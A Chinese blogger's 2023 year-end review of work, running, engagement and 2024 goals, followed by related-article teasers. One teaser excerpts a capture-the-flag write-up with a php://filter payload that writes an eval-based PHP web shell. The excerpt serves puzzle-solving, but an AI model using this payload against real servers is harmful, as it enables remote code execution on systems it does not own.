《2023年终总结》

笔者来回顾一下2023年的个人成长。

2023年总的来说,工作和生活都相对比较顺利。

  • 工作上领导给予了肯定的评价,升职加薪,对我的鼓舞很大;

  • 生活上和女朋友的感情越来越好,生气频率降低,也能相互理解,各自见了家长,然后双方父母见面,已经订婚

  • 平时生活也有一点点变化,相对2022年疫情的一年来说,今年的活动相对更多,会更多的去锻炼,参加活动,和女朋友去旅游,留下一些美好的点点滴滴,我觉得的这样很好。

总的来说,在平稳的向前走,希望更加努力,完成自己设定的目标,2024 加油

工作中

工作上主要投入了一个项目,基本上算是从头到尾参加了,作为轮值TL,去组织开会,协调开发;了解了框架的重要性和必要性,引入组件,真的可以使得开发变成搭积木,方便很多,而且不容易出错;也挺会到了模拟器的重要性,节省了不少调试时间;还有自动化测试的保障性,避免后期的返工。

  • 工作中,如果是真正想做一件事情,真的需要自己主动去推动,如果被动等待,最后的结果往往不如意,所以项目开发的时候,如果涉及相关的,一定得前期去做,不然后面还是自己去搞。
  • 作为PL/TL,项目进度是一方面,去协调以及解决问题也很关键,
  • 框架这块以后是必须做的,代码框架(可以先尝试去看),测试框架(有点难,不太懂),代码分层(这个比较懂)等等;代码分层见的比较多,比如硬件抽象层,把硬件和应用分开,这样应用的移植就会很方便,可能一次就成功。还有应用中可以分为纯应用+会话层,会话层可以帮忙完成一次交互,保证应用收到响应。不需要做收数据的动作,只需要有人通知他去处理就好了。
  • 模拟器也是一个比较重要的概念,前期辅助调试,可以模拟各种异常case,减少后期繁杂的调试工作。模拟器这块就需要配合上面的分层结构,中间层隔离了应用和驱动,而且中间层可以适配真实的设备驱动和模拟器的驱动,
  • 自动化测试,通过模拟器的测试case,保证主分支代码运行正常。

前面介绍了一些工作上面的感悟,其实这些之前都知道,不过理解的比较少,因为真正没有做过。
还有些具体技术上面的长进与总结。

  • 比如USB 协议CAN协议有了一些基本认识,可以看到一些基本问题。
  • 模拟器可以用共享内存或者Socket去实现,
  • RISCVARC又有了一些深入认识,
  • 链接和加载的介绍基本有了大概得框架,
  • C语言学习这块继续学习,运气好拿到了公司举办的趣味比赛第二名,大拇指奖杯

工作之余,之前规划的事情也有一些进展,

  • 网站终于做的可以了,可以对外展示了.
  • 把之前做的高级时钟项目又完成了一部分,算是可以看了,但是依然架构和组件很难看,
  • 嵌入式软考中级证书考过了,高级考起来

最后,工作中也碰到了一些瓶颈,

  • 多人参与项目,关注点就会被分散,就会很杂,不断地有人找你,
  • 事情摆在那边,但是又不想做,明显的规划的事情不好,
  • 想多写点代码,好多时候还是承担了一些建设的事情
  • 心情有时也很浮躁,很难静下心看看书,总是被各种事情推着走

生活中

2023年前期的生活规划基本都按照目标来实现了,生活更加充实了

  • 5月回女朋友家,10月回自己家,11月求婚,24年元旦订婚
  • 锻炼是23年的主旋律,23年后半年的几个月每月都有100KM,年跑量打到800KM,总跑量突破3000KM,
  • 还参加了无锡江阴马拉松,体验很不错,和女朋友去了野生动物园,东钱湖,日湖公园,欢乐谷和雁门关这些,自己出差顺便去广州塔玩了玩。
  • 公司里面作为社长举办了乒乓球比赛,运气好拿到了男单季军
  • 提了人生中第一辆代步车,跑步车,取快递车,吃饭车
  • 平头哥的RISCV比赛,以及RT-Thread的开发者大会,都值得去开开视野,
  • 理财就不说了,今年都没咋关注,跌了都快40%了,就先放着。

当然生活中也有一些烦恼,恶魔习惯一直缠身,不知道如何摆脱

  • 晚上沉迷于看手机,不睡觉,影响第二天工作,心情就会不好,
  • 做的事情一直拖拉,计划的目标一拖在拖,比如总结,练琴,看书。
  • 陪师姐去玩的次数,屈指可数,

展望未来

项目部分

  • 高级时钟项目收尾完善,主要结构部分。
  • 智能小船从设计到制作再到调试最后到演示,需要发视频
  • Linux 板子使用到项目中,可以进行简单的外设开发和使用

个人影响力部分

  • CSDN 文章数量保证每月三篇,继续提升数量和质量
  • 网站继续完善, 保持更新
  • 通过系统架构师高级资格考试

技术部分

  • ARM/RISCV/ARC 芯片技术总结与完善,形成文档
  • 内存管理、系统调度等深入学习,继续RTOS代码
  • 代码能力提升,保证2W-3W行代码量,框架能力提升

习惯生活部分

  • 24年学习保持专注,集中注意力做事情,
  • 继续保持锻炼,跑量月50KM,需要锻炼胸肌和腹肌(要结婚了)
  • 练琴

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/320463.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

《Spring》--使用application.yml特性提供多环境开发解决方案/开发/测试/线上--方案2

阿丹-有话说: 第二种多环境的配置选择解决方案,这个更加的灵活没在配置方面都选择了一种yml的书写方式。 原理: 在Spring Boot中,spring.profiles.active 属性用于指定当前应用程序应激活哪个环境配置。当Spring Boot应用启动时…

Centos7.9忘记Root密码找回

Centos7.9忘记Root密码找回 1. 背景2. 目的3. 具体操作3.1 重启系统3.2 增加代码3.3 单用户模式3.4 单用户模式3.5 修改密码3.6 创建文件3.7 重启验证 1. 背景 由于物理主机上安装了多个虚拟机,部分虚拟机忘记了root密码,前段时间刚好要用这个虚拟机&…

【MySQL】创建和管理表

文章目录 前置 标识符命名规则一、MySQL数据类型二、创建和管理数据库2.1 创建数据库2.2 使用数据库2.3 修改数据库2.4 删除数据库 三、创建表3.1 创建方式一3.2 创建方式二3.3 查看数据表结构 四、修改表4.1 增加一个列4.2 修改一个列4.3 重命名一个列4.4 删除一个列 五、重命…

嘘……快进来!这儿有最新版Microsoft照片程序的安装秘籍!(附安装引导程序下载)

网管小贾 / sysadm.cc 最近啊有不少小伙伴向我反馈,自个的 Windows 10 系统里边居然没有 Microsoft 照片 程序。 我觉得有点不可思议,为啥呢,因为他们的电脑是新买的! 你看哈,系统是 22H2 最新版,安装日期…

云卷云舒:独立式向量数据库?数据库向量式插件?

云卷云舒:算力网络云原生(下):云数据库发展的新篇章-CSDN博客https://blog.csdn.net/bishenghua/article/details/135050556 圈内人都知道,2023 年是向量数据库的元年,最初起源于 2023年3月英伟达的黄仁勋…

分布式链路追踪专栏,分布式链路追踪:Skywalking集群管理设计

SkyWalking 是一个开源 APM 系统,包括针对 Cloud Native 体系结构中的分布式系统的监视,跟踪,诊断功能。核心功能如下: 服务、服务实例、端点指标分析; 根本原因分析,在运行时分析代码; 服务拓…

本地一键部署grafana+prometheus

本地k8s集群内一键部署grafanaprometheus 说明: 此一键部署grafanaPrometheus已包含: victoria-metrics 存储prometheus-servergrafanaprometheus-kube-state-metricsprometheus-node-exporterblackbox-exporter grafana内已导入基础的dashboard【7个…

PXIe-6396国产替代,8路AI(18位,14 MS/s/ch),2路A​O,24路DIO,PXI多功能I/O模块

PXIe,8路AI(18位,14 MS/s/ch),2路A​O,24路DIO,PXI多功能I/O模块 PXIe-6396是一款同步采样的多功能DAQ设备。该模块提供了模拟 I/O、数字I/O、四个32位计数器和模拟和数字触发。板载NI-STC3定时…

GAN生成对抗网络介绍

GAN简介 GAN 全称是Generative Adversarial Networks,即生成对抗网络。 “生成”表示它是一个生成模型,而“对抗”代表它的训练是处于一种对抗博弈状态中的。 一个可以自己创造数据的网络! 判别模型与生成模型 判别模型(Discr…

MobaXterm连接服务器步骤

双击该软件 选择Session 点击SSH 填写服务器的IP地址、服务器的用户名称、Port这个端口号一般都是这个,但有些可能例外,自己注意一下,最后点击OK就行 这个五角星点击一下,就可以看到您自己刚才的配置。 鼠标左键双击&…

python基础-base64编码理解

目录 1、base64是什么 2、base64有什么用 3、base64如何用 4、理解base64 5、扩展 1、base64是什么 base64 就是包括字母a-z,A-Z,数字0-9,符号“”,“/”一共64个字符的字符集;还有一个‘’ 字符,占位补充; …

【已解决】C语言进行多线程数据切割查找数据

第一次听到多线程切割,笔者也没听的太懂,但发现多线程数据切割其实就是分出多个线程,进行处理查找数据的事情。而为什么切割呢,就是因为数据不够线程数分的,假如1k个数据,7个线程,这里不能够整除…

吐血整理,性能测试重要指标+设计真实负载(详细总结)

目录:导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结(尾部小惊喜) 前言 1、性能测试之重要…

初识C语言·数据存储

1 整数在内存中的存储 前面讲到,整数在计算机中的存储是以补码形式存储的,其中正数和负数也有些许差别,正数的三码相同,负数的就不相同了,那么这里就涉及原码反码补码。 原码:直接把整数用二进制的方式表…

Pandas:Python可视化神器

大家好,数据可视化可以让我们很直观的发现数据中隐藏的规律,察觉到变量之间的互动关系,可以帮助我们更好的给他人解释现象,做到一图胜千文的说明效果。 常见的数据可视化库有: matplotlib 是最常见的2维库,可以算作可…

Codeforces Round 913 (Div. 3)E 不进位各数位和与打表

Problem - E - Codeforces digsum(a)digsum(b)digsum(c)digsum(n) 要点一: 当左边和发生进位,比如56 11,那么数位和会变小。其实下一位就是相加后对9取余,各数位和必定变小的。 要点二: 然后就是组合情况了&#x…

[NAND Flash 5.5] PLC NAND 虽来但远

依公知及经验整理,原创保护,禁止转载。 专栏 《深入理解NAND Flash》 <<<< 返回总目录 <<<< 前言 图片来源: 存储随笔 2022年8月份在美国FMS峰会上,Solidigm公司(前身为Intel NAND部门)展示了全球第一款基于PLC NAND研发的SSD。这也标志着,PLC…

大模型推理优化实践:KV cache 复用与投机采样

作者&#xff1a;米基 一、背景 RTP-LLM 是阿里巴巴大模型预测团队开发的大模型推理加速引擎&#xff0c;作为一个高性能的大模型推理解决方案&#xff0c;它已被广泛应用于阿里内部。该引擎与当前广泛使用的多种主流模型兼容&#xff0c;并通过采用高性能的 CUDA 算子来实现了…

polar CTF 写shell

一、题目 <?php /*PolarD&N CTF*/highlight_file(__FILE__);file_put_contents($_GET[filename],"<?php exit();".$_POST[content]);?>二、解题 payload ?filenamephp://filter/convert.base64-decode/resourceshell.php #<?eval($_POST[1]);…

maven镜像源设置aliyun提升下载速度

一、打开pom.xml project下在添加 <repositories><repository><id>aliyunmaven</id><name>aliyun</name><url>https://maven.aliyun.com/repository/public</url></repository><repository><id>central2&l…